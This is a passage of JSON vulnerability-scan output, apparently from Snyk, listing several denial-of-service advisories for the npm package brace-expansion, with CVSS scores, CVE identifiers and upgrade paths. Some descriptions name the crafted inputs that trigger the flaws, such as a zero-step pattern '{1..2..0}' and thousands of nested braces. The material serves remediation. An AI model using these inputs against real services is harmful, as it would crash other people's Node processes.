"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
